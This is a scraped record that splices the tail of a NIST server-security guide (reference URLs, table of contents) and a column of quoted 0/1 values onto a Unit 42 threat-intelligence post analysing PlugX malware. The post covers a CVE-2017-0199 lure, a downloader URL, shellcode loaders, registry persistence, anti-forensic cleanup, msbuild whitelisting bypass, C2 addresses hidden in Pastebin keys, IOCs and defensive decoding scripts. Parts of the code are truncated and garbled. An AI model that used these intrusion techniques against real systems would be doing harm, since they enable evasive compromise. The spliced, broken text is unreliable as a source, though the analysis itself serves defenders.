Acquisition/Use of Tested/Evaluated Products http://csrc.nist.gov/publications/nistpubs/800-23/sp800- 23.pdf SP 800-27 Revision A, Engineering Principles for Information Technology Security http://csrc.nist.gov/publications/nistpubs/800- 27A/SP800-27-RevA.pdf SP 800-30, Risk Management Guide for Information Technology Systems http://csrc.nist.gov/publications/nistpubs/800-30/sp800- 30.pdf SP 800-32, Introduction to Public Key Technology and http://csrc.nist.gov/publications/nistpubs/800-32/sp800- C-1 http://csrc.nist.gov/groups/STM/cmvp/index.html http://checklists.nist.gov/ http://nvd.nist.gov/ http://csrc.nist.gov/publications/nistpubs/800-44-ver2/SP800-44v2.pdf http://csrc.nist.gov/publications/nistpubs/800-44-ver2/SP800-44v2.pdf http://csrc.nist.gov/publications/nistpubs/800-45-version2/SP800-45v2.pdf http://csrc.nist.gov/publications/nistpubs/800-45-version2/SP800-45v2.pdf http://csrc.nist.gov/publications/nistpubs/800-81/SP800-81.pdf http://csrc.nist.gov/publications/nistpubs/800-81/SP800-81.pdf http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf http://csrc.nist.gov/publications/PubsFIPS.html http://csrc.nist.gov/publications/fips/fips180-2/fips180-2withchangenotice.pdf http://csrc.nist.gov/publications/fips/fips180-2/fips180-2withchangenotice.pdf http://csrc.nist.gov/publications/PubsFIPS.html http://csrc.nist.gov/publications/fips/fips199/FIPS-PUB-199-final.pdf http://csrc.nist.gov/publications/fips/fips199/FIPS-PUB-199-final.pdf http://csrc.nist.gov/publications/nistpubs/800-14/800-14.pdf http://csrc.nist.gov/publications/nistpubs/800-14/800-14.pdf http://csrc.nist.gov/publications/nistpubs/800-18-Rev1/sp800-18-Rev1-final.pdf http://csrc.nist.gov/publications/nistpubs/800-18-Rev1/sp800-18-Rev1-final.pdf http://csrc.nist.gov/publications/nistpubs/800-23/sp800-23.pdf http://csrc.nist.gov/publications/nistpubs/800-23/sp800-23.pdf http://csrc.nist.gov/publications/nistpubs/800-27A/SP800-27-RevA.pdf http://csrc.nist.gov/publications/nistpubs/800-27A/SP800-27-RevA.pdf http://csrc.nist.gov/publications/nistpubs/800-30/sp800-30.pdf http://csrc.nist.gov/publications/nistpubs/800-30/sp800-30.pdf http://csrc.nist.gov/publications/nistpubs/800-32/sp800-32.pdf GUIDE TO GENERAL SERVER SECURITY Document Title URL the Federal PKI Infrastructure 32.pdf SP 800-34, Contingency Planning Guide for Information Technology Systems http://csrc.nist.gov/publications/nistpubs/800-34/sp800- 34.pdf SP 800-37, Guide for the Security Certification and Accreditation of Federal Information Systems http://csrc.nist.gov/publications/nistpubs/800-37/SP800- 37-final.pdf SP 800-40 Version 2.0, Creating a Patch and Vulnerability Management Program http://csrc.nist.gov/publications/nistpubs/800-40- Ver2/SP800-40v2.pdf SP 800-41 Revision 1 (Draft), Guidelines on Firewalls and Firewall Policy http://csrc.nist.gov/publications/PubsSPs.html SP 800-52, Guidelines for the Selection and Use of Transport Layer Security (TLS) Implementations http://csrc.nist.gov/publications/nistpubs/800-52/SP800- 52.pdf SP 800-53 Revision 2, Recommended Security Controls for Federal Information Systems http://csrc.nist.gov/publications/nistpubs/800-53- Rev2/sp800-53-rev2-final.pdf SP 800-55 Revision 1, Performance Measurement Guide for Information Security http://csrc.nist.gov/publications/nistpubs/800-55- Rev1/SP800-55-rev1.pdf SP 800-60 Revision 1, Volume 1 (Draft), Guide for Mapping Types of Information and Information Systems to Security Categories http://csrc.nist.gov/publications/PubsSPs.html SP 800-61 Revision 1, Computer Security Incident Handling Guide http://csrc.nist.gov/publications/nistpubs/800-61- rev1/SP800-61rev1.pdf SP 800-63 Version 1.0.2, Electronic Authentication Guideline http://csrc.nist.gov/publications/nistpubs/800-63/SP800- 63V1_0_2.pdf SP 800-63-1 (Draft), Electronic Authentication Guideline http://csrc.nist.gov/publications/PubsSPs.html SP 800-70, Security Configuration Checklists Program for IT Products: Guidance for Checklists Users and Developers http://csrc.nist.gov/checklists/download_sp800-70.html SP 800-77, Guide to IPsec VPNs http://csrc.nist.gov/publications/nistpubs/800-77/sp800- 77.pdf SP 800-83, Guide to Malware Incident Prevention and Handling http://csrc.nist.gov/publications/nistpubs/800-83/SP800- 83.pdf SP 800-88, Guidelines for Media Sanitization http://csrc.nist.gov/publications/nistpubs/800- 88/NISTSP800-88_rev1.pdf SP 800-92, Guide to Computer Security Log Management http://csrc.nist.gov/publications/nistpubs/800-92/SP800- 92.pdf SP 800-94, Guide to Intrusion Detection and Prevention Systems (IDPS) http://csrc.nist.gov/publications/nistpubs/800-94/SP800- 94.pdf SP 800-100, Information Security Handbook: A Guide for Managers http://csrc.nist.gov/publications/nistpubs/800- 100/SP800-100-Mar07-2007.pdf SP 800-113, Guide to SSL VPNs http://csrc.nist.gov/publications/nistpubs/800- 113/SP800-113.pdf SP 800-115 (Draft), Technical Guide to Information Security Testing http://csrc.nist.gov/publications/PubsSPs.html C-2 http://csrc.nist.gov/publications/nistpubs/800-32/sp800-32.pdf http://csrc.nist.gov/publications/nistpubs/800-34/sp800-34.pdf http://csrc.nist.gov/publications/nistpubs/800-34/sp800-34.pdf http://csrc.nist.gov/publications/nistpubs/800-37/SP800-37-final.pdf http://csrc.nist.gov/publications/nistpubs/800-37/SP800-37-final.pdf http://csrc.nist.gov/publications/nistpubs/800-40-Ver2/SP800-40v2.pdf http://csrc.nist.gov/publications/nistpubs/800-40-Ver2/SP800-40v2.pdf http://csrc.nist.gov/publications/PubsSPs.html http://csrc.nist.gov/publications/nistpubs/800-52/SP800-52.pdf http://csrc.nist.gov/publications/nistpubs/800-52/SP800-52.pdf http://csrc.nist.gov/publications/nistpubs/800-53-Rev2/sp800-53-rev2-final.pdf http://csrc.nist.gov/publications/nistpubs/800-53-Rev2/sp800-53-rev2-final.pdf http://csrc.nist.gov/publications/nistpubs/800-55-Rev1/SP800-55-rev1.pdf http://csrc.nist.gov/publications/nistpubs/800-55-Rev1/SP800-55-rev1.pdf http://csrc.nist.gov/publications/PubsSPs.html http://csrc.nist.gov/publications/nistpubs/800-61-rev1/SP800-61rev1.pdf http://csrc.nist.gov/publications/nistpubs/800-61-rev1/SP800-61rev1.pdf http://csrc.nist.gov/publications/nistpubs/800-63/SP800-63V1_0_2.pdf http://csrc.nist.gov/publications/nistpubs/800-63/SP800-63V1_0_2.pdf http://csrc.nist.gov/publications/PubsSPs.html http://csrc.nist.gov/checklists/download_sp800-70.html http://csrc.nist.gov/publications/nistpubs/800-77/sp800-77.pdf http://csrc.nist.gov/publications/nistpubs/800-77/sp800-77.pdf http://csrc.nist.gov/publications/nistpubs/800-83/SP800-83.pdf http://csrc.nist.gov/publications/nistpubs/800-83/SP800-83.pdf http://csrc.nist.gov/publications/nistpubs/800-88/NISTSP800-88_rev1.pdf http://csrc.nist.gov/publications/nistpubs/800-88/NISTSP800-88_rev1.pdf http://csrc.nist.gov/publications/nistpubs/800-92/SP800-92.pdf http://csrc.nist.gov/publications/nistpubs/800-92/SP800-92.pdf http://csrc.nist.gov/publications/nistpubs/800-94/SP800-94.pdf http://csrc.nist.gov/publications/nistpubs/800-94/SP800-94.pdf http://csrc.nist.gov/publications/nistpubs/800-100/SP800-100-Mar07-2007.pdf http://csrc.nist.gov/publications/nistpubs/800-100/SP800-100-Mar07-2007.pdf http://csrc.nist.gov/publications/nistpubs/800-113/SP800-113.pdf http://csrc.nist.gov/publications/nistpubs/800-113/SP800-113.pdf http://csrc.nist.gov/publications/PubsSPs.html Executive Summary 1. 1. Introduction 1.1 Authority 1.2 Purpose and Scope 1.3 Audience 1.4 Document Structure 1. 2. Background 2.1 Server Vulnerabilities, Threats, and Environments 2.2 Security Categorization of Information and Information Systems 2.3 Basic Server Security Steps 2.4 Server Security Principles 3. Server Security Planning 3.1 Installation and Deployment Planning 3.2 Security Management Staff 3.2.1 Chief Information Officer 3.2.2 Information Systems Security Program Managers 3.2.3 Information Systems Security Officers 3.2.4 Server, Network, and Security Administrators 3.3 Management Practices 3.4 System Security Plan 3.5 Human Resources Requirements 1. 4. Securing the Server Operating System 4.1 Patch and Upgrade Operating System 4.2 Hardening and Securely Configuring the OS 4.2.1 Remove or Disable Unnecessary Services, Applications, and Network Protocols 4.2.2 Configure OS User Authentication 4.2.3 Configure Resource Controls Appropriately 4.3 Install and Configure Additional Security Controls 4.4 Security Testing the Operating System 5. Securing the Server Software 5.1 Securely Installing the Server Software 5.2 Configuring Access Controls 5.3 Server Resource Constraints 5.4 Selecting and Implementing Authentication and Encryption Technologies 6. Maintaining the Security of the Server 6.1 Logging 6.1.1 Identifying Logging Capabilities and Requirements 6.1.2 Reviewing and Retaining Log Files 6.1.3 Automated Log File Analysis Tools 6.2 Server Backup Procedures 6.2.1 Server Data Backup Policies 6.2.2 Server Backup Types 6.2.3 Maintain a Test Server 6.3 Recovering From a Security Compromise 6.4 Security Testing Servers 6.4.1 Vulnerability Scanning 6.4.2 Penetration Testing 6.5 Remotely Administering a Server Appendix A\xe2\x80\x94 Glossary Appendix B\xe2\x80\x94 Acronyms and Abbreviations Appendix C\xe2\x80\x94 Resources","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Paranoid PlugX Menu Tools Playbooks Speaking Events About Us Paranoid PlugX 20,275 people reacted 0 11 min. read Share By Tom Lancaster and Esmid Idrizovic June 27, 2017 at 5:00 AM Category: Unit 42 Tags: Application Whitelisting Bypass, PlugX, threat intelligence The PlugX malware has a long and extensive history of being used in intrusions as part of targeted attacks. PlugX is still popular today and its longevity is remarkable. The malware itself is well documented, with multiple excellent papers covering most aspects of its functionality. Some of the best write-ups on the malware are cited below: TR-12 \xe2\x80\x93 Analysis of a PlugX malware variant used for targeted attacks. (Circl) Analysis of a Recent PlugX Variant \xe2\x80\x93 \xe2\x80\x9cP2P PlugX\xe2\x80\x9d (JPCert) PlugX some uncovered points (Airbus) PlugX \xe2\x80\x93 The Next Generation (Sophos) Given this wealth of information in the public domain, PlugX receives a lot of attention from security vendors who put efforts into providing detection mechanisms for it. Despite this, it remains a tool of choice for many attackers today, meaning that if attackers are to be successful in using the malware, they must innovate in the delivery and installation of the malware if they are to successfully infect their targets. This article discusses a group of PlugX samples which we believe are all used by the same attacker(s), and the measures they have taken to attempt to bypass security mechanisms. The targets of these attacks appear to primarily be companies in the video games industry, although other targets may exist outside of our telemetry. Specifically, we discovered a series of samples using interesting techniques with respect to: Resolution of an initial C2 address Combining PlugX with open source tools to initially load the malware Avoiding detection on disk Palo Alto Networks defends our customers against the samples discussed in this blog in the following ways: Wildfire identifies all files mentioned in this article as Malicious. Traps\xc2 4.0 can be configured to protect the processes that are cited as being abused in this blog from loading malicious code. Palo Alto Networks\xe2\x80\x99 AutoFocus customers can track samples related to this blog via the tag: ParanoidPlugX Related IOCs are provided in Appendix A of this blog. An RTF, an MSI file, a .NET Wrapper and two stages of Shellcode walk into a bar\xe2\x80\xa6 Our journey begins with an RTF file named \xe2\x80\x9cNew Salary Structure 2017.doc\xe2\x80\x9d, which exploits CVE-2017-0199. \xc2 The mechanics of this exploit are already well covered, and as such do not require further discussion here. The document reaches out to download its initial payload from the following URL: hxxp://172.104.65[.]97/Office.rtf This is a downloader script which attempts to download and execute two payloads, the code is shown below: 1 2 3 4 5 The first payload is a Windows Installer (MSI) file, and dynamic analysis of this file piqued out interest. \xc2 \xc2 We could see the malware was PlugX from its actions, yet the C2 address was a pastebin.com URL. Looking at the Pastebin post we expected to immediately identify a block of text which would later decode to a C2 address, but glancing at the returned content we were unable to immediately identify the C2. The second file is a PowerShell script which appears to be based on a Rapid7 Ruby Exploitation script that loads arbitrary shellcode. In this case, the shellcode is a copy of PlugX and is the same shellcode contained in the MSI file that we will dissect below. .NET Wrapper The main payload is delivered in a Microsoft .NET Framework file within previously mentioned MSI file. When executed, the .NET Framework wrapper will first check if VMware tools is running in background, this is done via a simple process check, searching for any process named \xe2\x80\x9cvmtoolsd.\xe2\x80\x9d Provided there are no matching processes running, the malware continues execution, creating a registry entry with the name \xe2\x80\x98MSASCuiLTasks\xe2\x80\x99 in HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce for persistence. This registry key causes the malware to run again each time the system reboots. Next, it will copy the first stage shellcode in memory and create a new thread with the shellcode running in it, the code responsible for this execution is shown in Figure 1. The shellcode is not encrypted but is obfuscated. Figure 1 \xe2\x80\x93 The main code from the .NET wrapper, with the Shellcode array being created and executed in a new thread. The first shellcode decrypts a further shellcode block. This second shellcode block in turn, will unpack the main PlugX DLL in memory using RtlDecompressBuffer. As is typical for PlugX, the header of the final DLL is missing its magic DOS and NT image headers, which are replaced with XV instead of MZ and PE as shown in Figure 2. Figure 2 \xe2\x80\x93 The decoded DLL payload using the wrong header, XV instead of MZ/PE. Finally, the second shellcode block will resolve the imports and relocations and jump to the entry point of the DLL. Encrypted Configuration in shellcode The configuration information for the malware, including the C2 information are encrypted in the first shellcode blob and are passed as an argument to the DllMain function of the main PlugX DLL. This DLL itself also contains a default configuration to connect to the localhost on port 12345. This means \xc2 if you extract the DLL manually and execute it then it will connect to localhost:12345 rather than the real C2 server, which was passed as an initial argument to the DLL by the first shellcode. Decrypting the Configuration As previously mentioned, the real configuration data is stored in the first stage shellcode but it is not stored in cleartext, but encrypted and compressed. The configuration data is encrypted with the same algorithm described previously by JPCert but using a different XOR value. The versions discussed in the JPCert blog post used 20140918, 353 while the versions we examined use XOR values of 20141118, 8389. The same decryption routine is also used for any other string obfuscation or file encryption as required by this sample of PlugX. After decrypting the strings, they must be further decompressed using LZNT1. For that we can use a Python script, included in Appendix B \xe2\x80\x93 Python Scripts. After decrypting and decompressing the strings, we can trivially identify aspects of the PlugX configuration. For example, we can see it will inject itself to one these three processes: %ProgramFiles(x86)%\\Sophos\\AutoUpdate\\ALUpdate.exe %ProgramFiles(x86)%\\Common Files\\Java\\Java Update\\jusched.exe %ProgramFiles(x86)%\\Common Files\\Adobe\\ARM\\1.0\\armsvc.exe The attempt to inject itself into a process belonging to antivirus product suite is particularly bold. In addition to this, the malware queries four PasteBin links to extract the C2 addresses from these links: https://pastebin[.]com/eSsjmhBG https://pastebin[.]com/PSxQd6qw https://pastebin[.]com/CzjM9qwi https://pastebin[.]com/xHDSxxMD A full list of the extracted strings from the configuration is given in Appendix D \xe2\x80\x93 Extracted PlugX Strings. Extracting C2 PlugX has a feature to extract encrypted C2 configurations from a given URL. In this case, the attackers were creative in hiding the string in a seemingly legitimate block of text. An example of the content retrieved from Pastebin is given below: ---- BEGIN SSH2 PUBLIC KEY ---- Comment: ""rsa-key"" AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd 8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3 /KvmlpeJZrrFu2n5UC9=DZKSDAAADOECEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+Ps 8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE 2Q/oxLXTrpeJ6AHyLyeUaBha3q9niJ= ---- END SSH2 PUBLIC KEY ---- 1 2 3 4 5 6 7 8 ---- BEGIN SSH2 PUBLIC KEY ---- Comment: ""rsa-key"" AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd 8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3 /KvmlpeJZrrFu2n5UC9=DZKSDAAADOECEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+Ps 8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE 2Q/oxLXTrpeJ6AHyLyeUaBha3q9niJ= ---- END SSH2 PUBLIC KEY ---- At first glanced we missed it, but the paste uses the same technique discussed in this Airbus post. It parses the \xe2\x80\x9cRSA key\xe2\x80\x9d looking for magic values \xe2\x80\x9cDZKS\xe2\x80\x9d and \xe2\x80\x9cDZJS\xe2\x80\x9d. It then reads and decrypts the content between these values to yield an IP address as shown below: ---- BEGIN SSH2 PUBLIC KEY ---- Comment: ""rsa-key"" AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd 8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3 /KvmlpeJZrrFu2n5UC9=DZKSDAAADOECEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+Ps 8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE 2Q/oxLXTrpeJ6AHyLyeUaBha3q9niJ= ---- END SSH2 PUBLIC KEY ---- 1 2 3 4 5 6 7 8 ---- BEGIN SSH2 PUBLIC KEY ---- Comment: ""rsa-key"" AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd 8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3 /KvmlpeJZrrFu2n5UC9=DZKSDAAADOECEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+Ps 8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE 2Q/oxLXTrpeJ6AHyLyeUaBha3q9niJ= ---- END SSH2 PUBLIC KEY ---- A Python script to decode strings encrypted with this technique is given in Appendix B \xe2\x80\x93 Python Scripts. An overview of the whole execution flow for this sample is given in Figure 3. Figure 3 \xe2\x80\x93 An overview of the execution flow for this sample. In all, the attackers have chained together many disparate pieces of code both custom and open source, all in order to load PlugX. Given the number of components, this would have taken a reasonable amount of time and indicates their dedication to evading detection whilst continuing to use the same malware. Pivoting to other PlugX samples Based on our findings above, we identified other examples of interesting PlugX samples. These other examples were identified based on similar samples that were sent to the targeted organizations, infrastructure used by the attackers, as well as unique delivery mechanisms for samples. Paranoid PlugX One related series of PlugX samples we examined appeared to be particularly \xe2\x80\x9cparanoid\xe2\x80\x9d about being detected on disk and so taking specific anti-forensics steps to defeat being detected on the disk. One example of these samples is given below: SHA256:6500636c29eba70efd3eb3be1d094dfda4ec6cca52ace23d50e98e6b63308fdb The file is a self-extracting RAR, which is a common delivery mechanism for PlugX particularly when the eventual payload will be sideloaded by a legitimate executable. In that respect this case is no different, as the eventual payload executed by a legitimate signed Microsoft binary which loads the DLL \xe2\x80\x9cBlackBox.dll\xe2\x80\x9d. However, in order to kick off the execution of the malware the attacker uses a batch script which executes the malware, but the batch script does more than simply initiate execution of the malware. After running the malware, the batch script goes on to cleans up all signs of its existence on the system, this includes: Deletion of all initial files created during installation, as well as all associated files required on disk during initial execution. Deletion of all registry keys associated with the extraction of the SFX RAR Deletion of the User Assist Key entries related to applications that have been recently executed Deletion of all registry keys relating to services that have recently run Clearly the attacker using this PlugX is paranoid about it being detected on disk, both in the registry and the file system. To top this off the script runs most of the deletion commands more than once. The result is that there should be no evidence that the malware was ever executed on the disk, making it harder for forensics teams to identify how the malware got there, and meaning that memory or network based detection would be required to identify the intrusion. The full contents of the batch script are given in Appendix C \xe2\x80\x93 a.bat. The power of open source & PlugX In the first half of 2017, we saw attackers begin to improve upon this \xe2\x80\x9cParanoid\xe2\x80\x9d version of PlugX \xe2\x80\x93 it wasn\xe2\x80\x99t enough to be in memory-only after getting infecting the system, the attackers also wanted to bypass application whitelisting techniques in use by network defenders. To this end, they began incorporating open source techniques, in particular those that have been assembled in a list authored by the GitHub user SubTee. For example, the following sample loads the malware as shellcode within a .NET Framework project using msbuild.exe, effectively bypassing application whitelisting techniques: SHA256: 822b313315138a69fc3e3f270f427c02c4215088c214dfaf8ecb460a5418c5f3 This sample approximately follows the GIST published here, but has additional code which appears to be custom to our attacker which acts as a helper to load the shellcode. The shellcode is, as in our first example, another PlugX payload. In another case the attackers use another code snippet borrowed from the SubTee GitHub project, this time filling in a fully templated .NET application whitelist bypass file: SHA256: 3e9136f95fa55852993cd15b82fe6ec54f78f34584f7689b512a46f0a22907f2: This time the attacker didn\xe2\x80\x99t have to write any of their own code, instead they were simply able to paste their shellcode directly into a template, in order to launch PlugX as a child process of a trusted application. Conclusions & Mitigations While PlugX has been well understood by the security community for years, attackers continue to use the malware. Some possible reasons for this continued use include: The operators of the malware are familiar and comfortable with the existing malware, meaning they are reluctant to change. Though competent at packaging PlugX in different ways, the attackers would struggle to write a fully featured malware like PlugX. The effort required to rebuild a malware as complex as PlugX is not worth the effort when they can bypass defenses without doing so. In all likelihood, a combination of these three factors is behind the continued prevalence of the malware. Many PlugX attackers continue to use relatively mundane techniques to load the malware, making it easy for defenders to identify and prevent execution of the malware, but others continue to apply new and interesting techniques to evade detection. In particular, this set of attackers have made good use of open source tools to package the malware, and show some skill in writing their own wrapper applications to execute payloads. Many in the security industry would be quick to recommend application whitelisting as one of the most effective way to reduce the success rate of attacks, however by applying publicly available techniques it is possible to bypass these controls. For organizations relying on Application Whitelisting, SubTee\xe2\x80\x99s blog makes a series of recommendations which help prevent these bypass techniques. In addition to these mitigations, the Traps 4.0 can be configured to protect the .NET processes which can be abused in this manner. \xc2 Appendix A \xe2\x80\x93 Related IoCs Directly related: 45.248.84[.]7 172.104.65[.]97 SHA256 Comments 5909c1dcfb3270b2b057513561b2ab1613687a0af0072c51244ff005b113888b PlugX 6804be0689bbfbb180bb384ebc316f50cb87e65553d0c3597d6e9b6b6dd8dd3f PlugX 8ea275eee557037ab6626d15c0107bdcf20b45a8307a0dc3baa85d49acc94331 PlugX e6020eb997715c4f627b6e6a16947861bce310aa31fcf58448a5beba11626d36 PlugX 4554aa6c2fdd58dfddebdb786c5d23cd6277025ab0355ffb5d8967c3976e8659 PlugX 3817388a983d5ee1604a8eec621b5eb251cb8bdeab9c8591fe5e8c90cd99ed49 CVE-2017-0199 45513f942b217def56a1eac82a4b5edca65ebdd5e36c7a8751bf0350d5ebea39 CVE-2017-0199 64d7d4846c5dd00a7271fe8a83aebe4317d06abad84d44ffd6f42b1004704bd5 PlugX 07d94726a1ae764fa5322531f29fe80f0246dd40b4d052c98f269987a3ee4515 PowerShell PlugX 4622f8357846f7a0bea3ce453bb068b443e21359203dfa2f74301c7a79a408c2 Downloader for PS PlugX ++ MSI PlugX 49baf12f50fec772fdfe56c49005efb306b72a312a7dbdad98066029a191bfaf CVE-2017-0199 \xc2 https://pastebin[.]com/eSsjmhBG https://pastebin[.]com/PSxQd6qw https://pastebin[.]com/CzjM9qwi https://pastebin[.]com/xHDSxxMD Inferred relation via similar targeting SHA256 Family 6e5864faf4312bf3787e79e432c1acacf2a699ecb5b797cac56e62ed0a8e965c Idicaf 6b455714664a65e2a4af61b11d141467f4554e215e3ebd02e8f3876d8aa31954 Idicaf df58962a3a065f1587f543a501d0e3f0ca05ebac51fc35d4bb4669d8eac9d8c1 Idicaf 52fee36c647ca799e21cd75db1f425ccf632b28c27e67b8578ff6dd30ca62af7 Idicaf 90e45c7b3798433199d6d917a4847a409dbdc101b210d9798f8c78ee43abf6d8 Idicaf 5ff788efd079eb2987b03d98e0c8211ac97ae6479274bade36a170b5a396f72b Idicaf 535abe8cd436d6b635c5687db0ae8d47c7c3679e4f5e2b4d629276b41fca0578 Idicaf ef85896426a0a558ab17346a67f108045d142a2d2a21f7702bfb8be50542726d Idicaf d41e2bbc8ea10dd7543d5f4cb02983e2b1ad5d47cc3ce5fa95189501c019fdac Idicaf 208bd18054134909e2ad680c0096477c48a58e8754a9439002e6523f71e66d47 PlugX 3e9136f95fa55852993cd15b82fe6ec54f78f34584f7689b512a46f0a22907f2 PlugX 5deab61f83e9afe13a79930eda1bdcb6c867042a1ce0e5c44e4209a60ab3327d PlugX 6500636c29eba70efd3eb3be1d094dfda4ec6cca52ace23d50e98e6b63308fdb PlugX 8e07c7636be935e0a6184db8a85fd8b607e6c48bb07d34d0138432f7c697bc99 PlugX \xc2 Domains: kbklxpb.imshop.in serupdate.wicp.net msfcnsoft.com micros0ff.com msfcnsoft.com microsoff.net msffncsi.com A781195.gicp.net upgradsource.com B781195.vicp.net kbklxp.eicp.net \xc2 Appendix B \xe2\x80\x93 Python Scripts LZNT1 decrypt script, only works with Windows. import ctypes from ctypes import * with open('mysettings.bin','rb') as f: buffer = f.read() uncompressed_size = len(buffer) * 16 uncompressed = create_string_buffer(uncompressed_size) FinalUncompressedSize = c_ulong(0) nt = windll.ntdll # COMPRESSION_FORMAT_LZNT1 = 2 res = nt.RtlDecompressBuffer(2, uncompressed, uncompressed_size, buffer, len(buffer), byref(FinalUncompressedSize)) if (res == 0): uncompressed = uncompressed[0:FinalUncompressedSize.value] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import ctypes from ctypes import * \xc2 with open('mysettings.bin','rb') as f: \xc2 \xc2 \xc2 \xc2 buffer = f.read() \xc2 \xc2 \xc2 \xc2 uncompressed_size = len(buffer) * 16 uncompressed = create_string_buffer(uncompressed_size) FinalUncompressedSize = c_ulong(0) \xc2 nt = windll.ntdll \xc2 # COMPRESSION_FORMAT_LZNT1 = 2 res = nt.RtlDecompressBuffer(2, uncompressed, uncompressed_size, buffer, len(buffer), byref(FinalUncompressedSize)) \xc2 if (res == 0): \xc2 \xc2 \xc2 \xc2 uncompressed = uncompressed[0:FinalUncompressedSize.value]\xc2 \xc2 \xc2 \xc2 Decoding the PlugX configuration: def plugx_decode(data): decode_key = struct.unpack_from('> 16) & 0xff ^ ((key2 & 0xff ^ (((key1 >> 16) & 0xff ^ (key1 - (key1 >> 8) & 0xff)) - (key1 >> 24) & 0xff)) - (key2 >> 8) & 0xff)) - (key2 >> 24) & 0xff) out = out + chr(dec) return out 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def plugx_decode(data): \xc2 \xc2 \xc2 \xc2 decode_key = struct.unpack_from('> 16) & 0xff ^ ((key2 & 0xff ^ (((key1 >> 16) & 0xff ^ (key1 - (key1 >> 8) & 0xff)) - (key1 >> 24) & 0xff)) - (key2 >> 8) & 0xff)) - (key2 >> 24) & 0xff) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 out = out + chr(dec) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 return out Decoding the C2 addresses from Pastebin: import struct def decode(buf): res = """" for i in range(0, len(buf) -1, 2): dl = ord(buf[i + 1]) dl = dl - 0x41 dl = dl * 0x10 dl = dl + ord(buf[i]) dl = dl - 0x41 res += chr(dl) return res def decode_plugx_pastebin(buf): start = buf.find('DZKS') if start == -1: return None end = buf.find('DZJS', start + 4) if end == -1: return None start += 4 data = buf[start:end] decoded = decode(data) connection_type = struct.unpack_from('<H', decoded, 0)[0] port = struct.unpack_from('<H', decoded, 2)[0] ip = decoded[4:] print ""Decoded IP: {}:{}, type: {}"".format(ip, port, connection_type) return True decode_plugx_pastebin('AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlZrrn5UC9=DZKSGAAALLBAEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+PsFu2q9n8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6AHyLyeUaBha3J=') decode_plugx_pastebin('AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlZrrn5UC9=DZKSDAAAAFAAEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+PsAHyLye8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6aBha3q9niJFu2=') decode_plugx_pastebin('AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlZrrn5UC9=DZKSEAAABGHBEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+PsFu2niJ8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6AHyLyeUaBha3q9=') 